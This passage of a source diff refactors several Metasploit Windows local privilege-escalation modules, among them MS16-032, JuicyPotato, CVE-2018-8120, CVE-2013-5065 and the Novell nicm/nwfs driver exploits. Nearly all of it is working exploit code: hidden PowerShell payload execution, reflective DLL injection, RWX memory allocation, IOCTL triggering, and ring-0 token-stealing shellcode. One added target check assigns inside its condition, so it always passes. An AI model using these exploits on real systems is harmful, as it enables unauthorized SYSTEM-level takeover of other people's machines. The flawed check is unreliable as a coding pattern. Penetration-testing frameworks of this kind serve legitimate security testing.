['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2016-0040'],
|
||||
['MSB', 'MS16-014'],
|
||||
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
|
||||
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
|
||||
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
|
||||
],
|
||||
'DisclosureDate' => '2015-12-04',
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# Windows 7 SP0/SP1 (64-bit)
|
||||
|
||||
if sysinfo['OS'] !~ /windows/i
|
||||
unless session.platform == 'windows'
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
version = get_version_info
|
||||
vprint_status("OS Version: #{version.product_name}")
|
||||
|
||||
return Exploit::CheckCode::Safe if build > 7601
|
||||
return Exploit::CheckCode::Safe unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
@ -89,6 +91,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
encoded_payload
|
||||
)
|
||||
|
||||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -81,9 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
|
||||
if os !~ /win/i
|
||||
unless session.platform == 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -103,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable")
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||
end
|
||||
|
||||
# Exploit PoC from 'b33f'
|
||||
|
@ -116,9 +114,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86
|
||||
cmdstr.gsub!("System32", "SYSWOW64")
|
||||
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
|
||||
vprint_warning("#{cmdstr}")
|
||||
cmdstr.gsub!('System32', 'SYSWOW64')
|
||||
print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell')
|
||||
vprint_warning(cmdstr.to_s)
|
||||
end
|
||||
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
@ -126,41 +124,41 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
psh_payload = compress_script(psh_payload)
|
||||
|
||||
@upfile = Rex::Text.rand_text_alpha((rand(8) + 6)) + ".ps1"
|
||||
@upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1'
|
||||
path = datastore['W_PATH'] || expand_path('%TEMP%')
|
||||
@upfile = "#{path}\\#{@upfile}"
|
||||
fd = session.fs.file.new(@upfile, "wb")
|
||||
fd = session.fs.file.new(@upfile, 'wb')
|
||||
print_status("Writing payload file, #{@upfile}...")
|
||||
fd.write(psh_payload)
|
||||
fd.close
|
||||
psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}"
|
||||
|
||||
# lpAppName
|
||||
ms16_032.gsub!("$cmd", "\"#{cmdstr}\"")
|
||||
ms16_032.gsub!('$cmd', "\"#{cmdstr}\"")
|
||||
# lpcommandLine - capped at 1024b
|
||||
ms16_032.gsub!("$args1", "\"#{psh_cmd}\"")
|
||||
ms16_032.gsub!('$args1', "\"#{psh_cmd}\"")
|
||||
end_flag = Rex::Text.rand_text_alphanumeric(32)
|
||||
ms16_032.gsub!("$end", end_flag)
|
||||
ms16_032.gsub!('$end', end_flag)
|
||||
|
||||
print_status('Compressing script contents...')
|
||||
ms16_032_c = compress_script(ms16_032)
|
||||
|
||||
if ms16_032_c.size > 8100
|
||||
print_error("Compressed size: #{ms16_032_c.size}")
|
||||
error_msg = "Compressed size may cause command to exceed "
|
||||
error_msg = 'Compressed size may cause command to exceed '
|
||||
error_msg += "cmd.exe's 8kB character limit."
|
||||
print_error(error_msg)
|
||||
else
|
||||
print_good("Compressed size: #{ms16_032_c.size}")
|
||||
end
|
||||
|
||||
print_status("Executing exploit script...")
|
||||
print_status('Executing exploit script...')
|
||||
|
||||
cmd = expand_path('%windir%')
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
cmd += "\\Sysnative"
|
||||
cmd += '\\Sysnative'
|
||||
else
|
||||
cmd += "\\System32"
|
||||
cmd += '\\System32'
|
||||
end
|
||||
|
||||
cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\""
|
||||
|
@ -180,9 +178,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
r.channel.close
|
||||
r.close
|
||||
|
||||
print_good("Executed on target machine.")
|
||||
rescue
|
||||
print_error("An error occurred executing the script.")
|
||||
print_good('Executed on target machine.')
|
||||
rescue StandardError
|
||||
print_error('An error occurred executing the script.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -95,9 +95,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def create_temp_proc
|
||||
windir = client.sys.config.getenv('windir')
|
||||
# Select path of executable to run depending the architecture
|
||||
if sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
|
||||
if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
|
||||
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
||||
elsif sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
|
||||
elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
|
||||
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
else
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
|
@ -123,35 +123,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
build = os.match(/Build (\d+)/)
|
||||
privs = client.sys.config.getprivs
|
||||
# Fast fails
|
||||
if !privs.include?('SeImpersonatePrivilege')
|
||||
print_bad('Target session is missing the SeImpersonatePrivilege.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
if (os =~ /NT|XP|2003|.NET Server/) || (os =~ /2008/ && os !~ /2008 R2/)
|
||||
print_bad('Microsoft Windows before Server 2008 R2 are not vulnerable.')
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803)
|
||||
print_bad("System not vulnerable (#{version.product_name})")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
# Windows 10 after build 17134 (April 2018 update, version 1803) is not
|
||||
# vulnerable. Due to changes in OS names, detecting the difference between
|
||||
# Server 2016/19 is most reliably done with build numbers:
|
||||
# (https://github.com/rapid7/metasploit-payloads/pull/355)
|
||||
if build.nil?
|
||||
print_warning('Could not determine Windows build number - exploiting might fail.')
|
||||
else
|
||||
build_number = build[1].to_i
|
||||
if build_number > 17134
|
||||
print_bad("Target appears to be patched (#{os})")
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif build_number < 7601
|
||||
print_bad("Target appears to be too old (#{os})")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
print_good("Target appears to be vulnerable (#{os})")
|
||||
print_good("Target appears to be vulnerable (#{version.product_name})")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
|
@ -162,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
@payload_name = datastore['PAYLOAD']
|
||||
@payload_arch = framework.payloads.create(@payload_name).arch
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
|
||||
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable')
|
||||
end
|
||||
if @payload_arch.first == ARCH_X64
|
||||
dll_file_name = 'juicypotato.x64.dll'
|
||||
|
@ -184,7 +167,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
process = client.sys.process.open
|
||||
end
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name)
|
||||
library_path = ::File.expand_path(library_path)
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||
|
|
|
@ -72,8 +72,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if sysinfo['OS'] =~ /XP|NT/i
|
||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP2, Msf::WindowsVersion::Server2008_R2_SP1)
|
||||
fail_with(Failure::Unknown, "The exploit binary does not support #{version.product_name}")
|
||||
end
|
||||
|
||||
return target unless target.name == 'Automatic'
|
||||
|
@ -83,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
vprint_status('Targeting x64 system')
|
||||
return targets[1]
|
||||
when 'x86'
|
||||
fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64
|
||||
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == ARCH_X64
|
||||
vprint_status('Targeting x86 system')
|
||||
return targets[2]
|
||||
end
|
||||
|
@ -105,8 +106,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
sys_arch = assign_target
|
||||
if sys_arch.name =~ /x86/
|
||||
return 'CVE-2018-8120x86.exe'
|
||||
else sys_arch.name =~ /x64/
|
||||
return 'CVE-2018-8120x64.exe'
|
||||
else
|
||||
sys_arch.name =~ /x64/
|
||||
return 'CVE-2018-8120x64.exe'
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -122,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
|
||||
|
||||
exe_payload = write_file_to_target(tempexename, exe)
|
||||
vprint_status("Payload uploaded to temp folder")
|
||||
vprint_status('Payload uploaded to temp folder')
|
||||
cve_exe = write_file_to_target(rexename, raw)
|
||||
command = "\"#{cve_exe}\" \"#{exe_payload}\""
|
||||
vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")
|
||||
|
|
|
@ -67,16 +67,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
]
|
||||
],
|
||||
'References' => [
|
||||
%w(CVE 2013-5065),
|
||||
%w(MSB MS14-002),
|
||||
%w(OSVDB 100368),
|
||||
%w(BID 63971),
|
||||
%w(EDB 30014),
|
||||
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
|
||||
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
|
||||
%w(URL http://www.secniu.com/blog/?p=53),
|
||||
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
|
||||
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
|
||||
%w[CVE 2013-5065],
|
||||
%w[MSB MS14-002],
|
||||
%w[OSVDB 100368],
|
||||
%w[BID 63971],
|
||||
%w[EDB 30014],
|
||||
%w[URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/],
|
||||
%w[URL http://technet.microsoft.com/en-us/security/advisory/2914486],
|
||||
%w[URL http://www.secniu.com/blog/?p=53],
|
||||
%w[URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html],
|
||||
%w[URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html]
|
||||
],
|
||||
'DisclosureDate' => '2013-11-27',
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -177,15 +177,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo['OS']
|
||||
case os
|
||||
when /windows xp.*service pack 3/i
|
||||
version = get_version_info
|
||||
if version.build_number == Msf::WindowsVersion::XP_SP3 ||
|
||||
version.build_number == Msf::WindowsVersion::Server2003_SP2
|
||||
return Exploit::CheckCode::Appears
|
||||
when /(2003|\.net server).*service pack 2/i
|
||||
return Exploit::CheckCode::Appears
|
||||
when /windows xp/i
|
||||
return Exploit::CheckCode::Detected
|
||||
when /(2003|\.net server)/i
|
||||
elsif version.xp_or_2003?
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -200,14 +196,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status('Detecting the target system...')
|
||||
os = sysinfo['OS']
|
||||
if os =~ /windows xp.*service pack 3/i
|
||||
my_target = targets[1]
|
||||
version = get_version_info
|
||||
if version.build_number == Msf::WindowsVersion::XP_SP3 ||
|
||||
(my_target = targets[1])
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||
elsif version.build_number == Msf::WindowsVersion::Server2003_SP2
|
||||
my_target = targets[2]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
|
||||
|
@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def open_device(dev)
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
||||
r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
|
||||
|
||||
handle = r['return']
|
||||
|
||||
|
@ -110,19 +110,19 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def allocate_memory(proc, address, length)
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
if not result["BaseAddress"] or result["BaseAddress"].empty?
|
||||
vprint_error("Failed to allocate memory")
|
||||
if !(result['BaseAddress']) || result['BaseAddress'].empty?
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
end
|
||||
|
||||
my_address = result["BaseAddress"].unpack("V")[0]
|
||||
my_address = result['BaseAddress'].unpack('V')[0]
|
||||
|
||||
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
|
||||
|
||||
if not proc.memory.writable?(my_address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
if !proc.memory.writable?(my_address)
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("0x#{my_address.to_s(16)} is now writable")
|
||||
|
@ -132,11 +132,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def junk(n = 4)
|
||||
return rand_text_alpha(n).unpack("V").first
|
||||
return rand_text_alpha(n).unpack('V').first
|
||||
end
|
||||
|
||||
def check
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
handle = open_device('\\\\.\\nicm')
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -146,15 +146,15 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows 7/i
|
||||
print_status('Detecting the target system...')
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && !version.windows_server?
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
|
@ -163,26 +163,26 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
||||
end
|
||||
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\nicm")
|
||||
print_status('Checking device...')
|
||||
handle = open_device('\\\\.\\nicm')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
|
||||
fail_with(Failure::NoTarget, '\\\\.\\nicm device not found')
|
||||
else
|
||||
print_good("\\\\.\\nicm found!")
|
||||
print_good('\\\\.\\nicm found!')
|
||||
end
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
|
||||
print_status("Storing the Kernel stager on memory...")
|
||||
print_status('Storing the Kernel stager on memory...')
|
||||
stager_address = 0x0d0d0000
|
||||
stager_address = allocate_memory(this_proc, stager_address, 0x1000)
|
||||
|
||||
if stager_address.nil? or stager_address == 0
|
||||
if stager_address.nil? || (stager_address == 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to allocate memory")
|
||||
fail_with(Failure::Unknown, 'Failed to allocate memory')
|
||||
end
|
||||
|
||||
# eax => &kernel_stager
|
||||
|
@ -203,7 +203,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
junk,
|
||||
junk,
|
||||
stager_address + 0x28 # stager_address + 0x24
|
||||
].pack("V*")
|
||||
].pack('V*')
|
||||
|
||||
kernel_stager << ring0_shellcode(my_target)
|
||||
|
||||
|
@ -211,34 +211,34 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to write contents to memory")
|
||||
fail_with(Failure::Unknown, 'Failed to write contents to memory')
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Triggering the vulnerability to execute the Kernel Handler")
|
||||
print_status('Triggering the vulnerability to execute the Kernel Handler')
|
||||
magic_ioctl = 0x143B6B # Vulnerable IOCTL
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
if ioctl["GetLastError"] != 0
|
||||
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
|
||||
if ioctl['GetLastError'] != 0
|
||||
print_error('Something wrong while triggering the vulnerability, anyway checking privileges...')
|
||||
end
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
if not is_system?
|
||||
if !is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
else
|
||||
print_good("Exploitation successful!")
|
||||
print_good('Exploitation successful!')
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||||
print_status("Injecting #{p.length} bytes to memory and executing it...")
|
||||
if execute_shellcode(p)
|
||||
print_good("Enjoy")
|
||||
print_good('Enjoy')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
|
||||
|
@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def open_device(dev)
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
||||
r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
|
||||
|
||||
handle = r['return']
|
||||
|
||||
|
@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname == nil
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
|
@ -104,8 +104,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def ring0_shellcode(t)
|
||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
restore_ptrs << "\xb8" + [ @addresses['HaliQuerySystemInfo'] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
||||
restore_ptrs << "\xa3" + [ @addresses['halDispatchTable'] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||
|
||||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
|
@ -130,10 +130,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
if not proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
if !proc.memory.writable?(address)
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("#{address} is now writable")
|
||||
|
@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
vprint_error('Failed to write contents to memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
|
@ -154,62 +154,62 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def disclose_addresses(t)
|
||||
addresses = {}
|
||||
|
||||
vprint_status("Getting the Kernel module name...")
|
||||
vprint_status('Getting the Kernel module name...')
|
||||
kernel_info = find_sys_base(nil)
|
||||
if kernel_info.nil?
|
||||
vprint_error("Failed to disclose the Kernel module name")
|
||||
vprint_error('Failed to disclose the Kernel module name')
|
||||
return nil
|
||||
end
|
||||
vprint_good("Kernel module found: #{kernel_info[1]}")
|
||||
|
||||
vprint_status("Getting a Kernel handle...")
|
||||
vprint_status('Getting a Kernel handle...')
|
||||
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
kernel32_handle = kernel32_handle['return']
|
||||
if kernel32_handle == 0
|
||||
vprint_error("Failed to get a Kernel handle")
|
||||
vprint_error('Failed to get a Kernel handle')
|
||||
return nil
|
||||
end
|
||||
vprint_good("Kernel handle acquired")
|
||||
vprint_good('Kernel handle acquired')
|
||||
|
||||
vprint_status("Disclosing the HalDispatchTable...")
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
|
||||
vprint_status('Disclosing the HalDispatchTable...')
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, 'HalDispatchTable')
|
||||
hal_dispatch_table = hal_dispatch_table['return']
|
||||
if hal_dispatch_table == 0
|
||||
vprint_error("Failed to disclose the HalDispatchTable")
|
||||
vprint_error('Failed to disclose the HalDispatchTable')
|
||||
return nil
|
||||
end
|
||||
hal_dispatch_table -= kernel32_handle
|
||||
hal_dispatch_table += kernel_info[0]
|
||||
addresses["halDispatchTable"] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
|
||||
addresses['halDispatchTable'] = hal_dispatch_table
|
||||
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
||||
|
||||
vprint_status("Getting the hal.dll Base Address...")
|
||||
hal_info = find_sys_base("hal.dll")
|
||||
vprint_status('Getting the hal.dll Base Address...')
|
||||
hal_info = find_sys_base('hal.dll')
|
||||
if hal_info.nil?
|
||||
vprint_error("Failed to disclose hal.dll Base Address")
|
||||
vprint_error('Failed to disclose hal.dll Base Address')
|
||||
return nil
|
||||
end
|
||||
hal_base = hal_info[0]
|
||||
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
||||
|
||||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||||
addresses["HaliQuerySystemInfo"] = hali_query_system_information
|
||||
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
||||
|
||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
|
||||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
||||
return addresses
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
my_target = nil
|
||||
if target.name =~ /Automatic/
|
||||
print_status("Detecting the target system...")
|
||||
os = sysinfo["OS"]
|
||||
print_status("#{os.inspect}")
|
||||
if os =~ /windows xp/i
|
||||
print_status('Detecting the target system...')
|
||||
version = get_version_info
|
||||
print_status(version.product_name.to_s)
|
||||
if version.build_number == Msf::WindowsVersion::XP_SP3
|
||||
my_target = targets[1]
|
||||
print_status("Running against #{my_target.name}")
|
||||
end
|
||||
|
@ -218,74 +218,74 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if my_target.nil?
|
||||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||||
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
||||
end
|
||||
|
||||
print_status("Checking device...")
|
||||
handle = open_device("\\\\.\\nwfs")
|
||||
print_status('Checking device...')
|
||||
